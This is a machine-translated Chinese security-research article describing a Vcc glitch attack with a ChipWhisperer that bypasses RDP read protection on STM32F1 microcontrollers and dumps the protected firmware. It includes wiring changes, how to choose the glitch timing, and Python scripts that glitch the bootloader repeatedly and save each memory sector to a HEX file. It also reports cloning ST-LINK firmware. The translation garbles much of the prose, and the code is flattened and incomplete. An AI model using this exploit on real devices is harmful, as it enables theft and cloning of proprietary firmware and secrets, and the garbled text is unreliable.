使用ChipWhisperer从STM32F1xx闪存读取安全固件


在上一篇文章中,我们使用ChipWhisperer处理了Vcc小故障攻击。 我们的进一步目标是分阶段研究读取受保护的固件微控制器的过程。 使用此类攻击,攻击者可以访问所有设备密码和软件算法。 一个生动的例子是使用Vcc-glitch攻击通过MK STM32F042板 Ledger Nano S硬件加密钱包的黑客攻击。


有意思吗 让我们在猫下看。


我们从一篇显示Vcc小故障攻击结果的文章中了解了读取受保护固件的可能性-通过引导加载程序绕过RDP保护字节,用于几个微控制器(以下称为MK)。 我们还建议您阅读有关破坏ESP32的文章


该研究的理论基础是使用ChipWhisperer通过面罩加载器成功读取LPC1114的受保护固件的指南


与第一篇文章一样,我们决定在MK STM32F103RBT6板上进行实验:



板STM32F103RBT6


将数据写入闪存和RAM扇区或读取它们以及对MK存储器执行其他操作的能力取决于保护字节的值(对于STM32-RDP)。 对于不同的MK,保护字节的值和用途以及检查它们的算法是不同的。


硬件设定


让我们开始实验。 首先,您需要根据该图将ChipWhisperer连接到MK:



ChipWhisperer与STM32的连接图,用于通过模板加载器读取受保护的固件


图中标出了应从STM32F103RBT6板上移除的元件(与标准MK连接相反)。 箭头指示ChipWhisperer的连接点,签名指示其引脚。


如图所示,不需要外部石英,因为在使用掩膜器时,MK STM32F103RBT6使用内部时钟的频率为24 MHz,因此ChipWhisperer与MK之间没有同步。


让我们继续设置ChipWhisperer。 如上所述,ChipWhisperer的推荐频率为24 MHz(或其他倍数)。 此频率的倍数越高,您可以更准确地调整起音时刻。 由于缺乏同步,scope.glitch.offset参数的选择是可选的;可以将任何值分配给它。


必须根据ChipWhisperer的设置频率选择参数scope.glitch.repeat和scope.glitch.width。 对于较大的频率值,所有短期脉冲(其数量由scope.glitch.repeat设置)将合并为一个长脉冲。 因此,可以选择参数scope.glitch.width和scope.glitch.repeat修复的值,反之亦然。 我们发现最佳脉冲持续时间应约为80 ns(定义为最大脉冲宽度的一半)。


仍然可以选择参数scope.glitch.ext_offset的值。


选择scope.glitch.ext_offset


首先,您需要选择攻击时刻。 根据STM公司文件中提出的方案,在收到从闪存扇区读取数据的请求后,将检查保护字节值:



用于响应从闪存扇区读取数据的请求的算法


为了验证这种验证方案的有效性,我们通过ST-Link读取了具有RDP保护的类似MK的Bootloader可执行代码。 下图显示了部分读取内存命令处理算法。



处理内存读取命令的一般视图(对RDP检查功能的调用以及在检查失败的情况下发送NACK清晰可见)



RDP验证功能主体


让我们注意一下RDP检查功能的主体:可以看出,正在0x40022000 + 0x1C读取寄存器,逻辑移位为30位并分支。 从PM0075编程手册(STM32F10xxx闪存微控制器)的文档中,可以清楚地看到0x40022000是闪存控制器的基地址,而0x1CFLASH_OBR寄存器偏移量 ,我们感兴趣的是RDPRT的第二位:读取保护,其中包含RDP保护状态。


攻击的必要时刻是开发LDR指令(从内存加载)。 该指令位于读取固件的请求(发送0x11字节和0xEE )与UART的ACK / NOACK MK响应之间。 为了从视觉上解决这一问题,有必要将示波器连接到UART1_RX(引脚PA10)和UART1_TX(引脚PA9),然后根据UART1监视电压变化。 结果,具有所选scope.glitch.ext_offset值的功率起伏波形应如下所示:



选择攻击时刻


固件读取脚本


现在,您需要在Python代码中指定CW_TRIG触发器的触发时刻,以便拦截通过UART1_RX传输校验和的时刻。 ChipWhisperer有一个用于与STM32 MK maskloader通信的库。 在正常模式下,该库用于使用位于class STM32FSerial(object)文件中的类class STM32FSerial(object)将手册中的固件从手册下载到MK,其路径为software/chipwhisperer/hardware/naeusb/ 。 要激活触发器,您需要将该类复制到主要的可执行脚本中,以使类方法CmdGeneric(self, cmd)成为全局可访问的对象,并在发送请求的校验和(0xEE)以读取内存扇区之前添加scope.arm()命令。 最后的课程在下面的扰流器中给出。


用于将ChipWhisperer与STM32通信的类
 import time import sys import logging from chipwhisperer.common.utils import util from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f from chipwhisperer.capture.api.programmers import Programmer # class which can normally using internal CW library for reading STM32 firmware by UART class STM32Reader(Programmer): def __init__(self): super(STM32Reader, self).__init__() self.supported_chips = supported_stm32f self.slow_speed = False self.small_blocks = True self.stm = None def stm32prog(self): if self.stm is None: stm = self.scope.scopetype.dev.serialstm32f else: stm = self.stm stm.slow_speed = self.slow_speed stm.small_blocks = self.small_blocks return stm def stm32open(self): stm32f = self.stm32prog() stm32f.open_port() def stm32find(self): stm32f = self.stm32prog() stm32f.scope = self.scope sig, chip = stm32f.find() def stm32readMem(self, addr, lng): stm32f = self.stm32prog() stm32f.scope = self.scope #answer = stm32f.readMemory(addr, lng) answer = self.ReadMemory(addr, lng) return answer def stm32GetID(self): stm32f = self.stm32prog() stm32f.scope = self.scope answer = stm32f.cmdGetID() return answer # Needed for connection to STM after reload by reset_target(scope) method def FindSTM(self): #setup serial port (or CW-serial port?) stm32f = self.stm32prog() try: stm32f.initChip() except IOError: print("Failed to detect chip. Check following: ") print(" 1. Connections and device power. ") print(" 2. Device has valid clock (or remove clock entirely for internal osc).") print(" 3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.") raise boot_version = stm32f.cmdGet() chip_id = stm32f.cmdGetID() for t in supported_stm32f: if chip_id == t.signature: # print("Detected known STMF32: %s" % t.name) stm32f.setChip(t) return chip_id, t # print("Detected unknown STM32F ID: 0x%03x" % chip_id) return chip_id, None 

应该注意的是,STM32F1xx maskloader使您可以在单个请求中从指定的闪存扇区读取不超过256个字节的固件。 因此,在读取MK的整个固件时,有必要在Vcc小故障攻击期间执行几个读取请求。 然后,应将收到的256个字节分成8个32字节的数组,并从中形成一个HEX文件。


HEX转换器代码和辅助功能
 def int2str_0xFF(int_number, number_of_bytes): return '{0:0{1}X}'.format(int_number,number_of_bytes_in_string) def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32): if mem_sector > 0xFFFF: mem_conversion = mem_sector >> 16 mem_conversion = mem_sector - (mem_conversion << 16) data_out = '' for i in range(int(256/mem_step)): data_vector = data_to_divide[(i * mem_step):((i + 1) * mem_step)] mem_calc = mem_conversion + (i * mem_step) data_out += read_and_convert_data_hex_file(data_vector, mem_calc, mem_step) + '\n' return data_out def read_and_convert_data_hex_file(data_to_convert, memory_address, mem_step): addr_string = memory_address -((memory_address >> 20) << 20) data_buffer = '' crcacc = 0 for x in range(0, len(data_to_convert)): data_buffer += int2str_0xFF(data_to_convert[x], 2) crcacc += data_to_convert[x] crcacc += mem_step temp_addr_string = addr_string for i in range (4, -1, -2): crcacc += temp_addr_string >> i*4 temp_addr_string -= ((temp_addr_string >> i*4) << i*4) crcacc_2nd_symbol = (crcacc >> 8) + 1 crcacc = (crcacc_2nd_symbol << 8) - crcacc if crcacc == 0x100: crcacc = 0 RECTYP = 0x00 out_string = ':'+ Int_To_Hex_String(mem_step, 2) +\ Int_To_Hex_String((addr_string),4) +\ Int_To_Hex_String(RECTYP, 2) +\ data_buffer +\ Int_To_Hex_String(crcacc, 2) return out_string def send_to_file(info_to_output, File_name, directory): file = open(directory + File_name + '.hex', 'w') file.write(info_to_output) file.close() def reset_target(scope): scope.io.nrst = 'low' time.sleep(0.05) scope.io.nrst = 'high' from collections import namedtuple Range = namedtuple('Range', ['min', 'max', 'step']) 

现已完成配置ChipWhisperer设置。 读取固件的最终脚本如下:


 # string of start HEX file Start_of_File_Record = ':020000040800F2' # string of end HEX file End_of_File_Record = ':00000001FF' length_of_sector = 256 if length_of_sector % 4 != 0: sys.exit('length_of_sector must be equal to 4') output_to_file_buffer = '' output_to_file_buffer += Start_of_File_Record + '\n' mem_current = mem_start while mem_current < mem_stop: # flush the garbage from the computer's target read buffer target.ser.flush() # run aux stuff that should run before the scope arms here reset_target(scope) # initialize STM32 after each reset prog.FindSTM() try: # reading of closed memory sector data = prog.stm32readMem(mem_current, length_of_sector) except Exception as message: message = str(message) if "Can't read port" in message: # print('Port silence') pass elif 'Unknown response. 0x11: 0x0' in message: # print('Crashed. Reload!') pass elif 'NACK 0x11' in message: # print('Firmware is closed!') pass else: # print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset) pass else: data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current) print(data_to_out) output_to_file_buffer += data_to_out mem_current += length_of_sector output_to_file_buffer += End_of_File_Record + '\n' send_to_file(output_to_file_buffer, File_name, directory) 

该行之后的所有注释掉的print()消息print() except Exception as帮助搜索故障脉冲的最佳参数时监视MC的状态。 要跟踪MK的特定状态,只需取消注释必要的print()消息就足够了。


阅读结果


视频显示了通过ST-LINK编程器将固件下载到MK,将RDP转移到保护状态,然后读取固件:



下列错误可能会阻止成功的Vcc小故障攻击:


•读取错误的内存扇区;


•自发删除固件。


通过提高ChipWhisperer的频率来准确选择起音时刻,将有助于避免此类错误。


在开发并调试了读取受保护固件的算法之后,我们对ST-LINK-V2.1编程器的固件进行了测试读取,该编程器可在STM32F103CBT6 MK上运行。 我们将一些固件缝制在一个“干净的” MK STM32F103CBT6上,并安装了该固件,而不是出厂时的固件。 结果,替换为MK的ST-LINK-V2.1在正常模式下工作,好像没有替代品一样。


我们还试图对STM32F303RCT7进行一系列攻击。 攻击期间的此MK的行为与STM32F103RBT6相同,但对读取内存请求的响应包含等于0x00的字节,这与我们预期的结果不一致。 失败的原因是组织这些MK的保护更加复杂和发达的原则。


STM32F1xx MK有两种保护状态:保护关闭(级别0)和开启(级别1)。 在较早的型号中,有三种保护状态:禁用保护(级别0,RDP = 0x55AA),仅对闪存和SRAM存储器进行保护(级别2,RDP = 0x33CC),仅对闪存进行保护(级别1,RDP采用除以下以外的任何值)从0x55AA和0x33CC)。 由于级别1可以采用许多RDP值,因此设置级别0非常困难。 另一方面,可以通过舍弃RDP字节中的一位(如下图所示)来将保护级别从2级降低到1级(如下图所示),从而可以访问SRAM存储器。



比较不同固件保护级别的RDP值


仍然只有了解攻击者如何利用此优势。 例如,使用本文介绍的CBS(冷启动步进)方法。 此方法基于加载MC之后的SRAM存储器状态的分阶段快照(每个快照的频率在微秒区域内),以获得加密密钥,隐藏的密码或任何其他有价值的信息。 作者建议CBS方法将适用于所有STM32 MK系列。


结论


总结一下我们的实验。 我们花了几天的时间才能完成从先前研究获得的Vcc小故障攻击(可以在此处阅读)。 因此,学习如何进行此类攻击非常容易。


Vcc小故障攻击很危险,因为它们很难防御。 为了减少成功进行此类攻击的可能性,建议使用具有更高防护级别的MK。



Raccoon Security是位于火山科学技术中心的专家组成的特殊团队,其领域包括实用的信息安全性,密码学,电路,逆向工程和低级软件的创建。


Source: https://habr.com/ru/post/zh-CN483732/


All Articles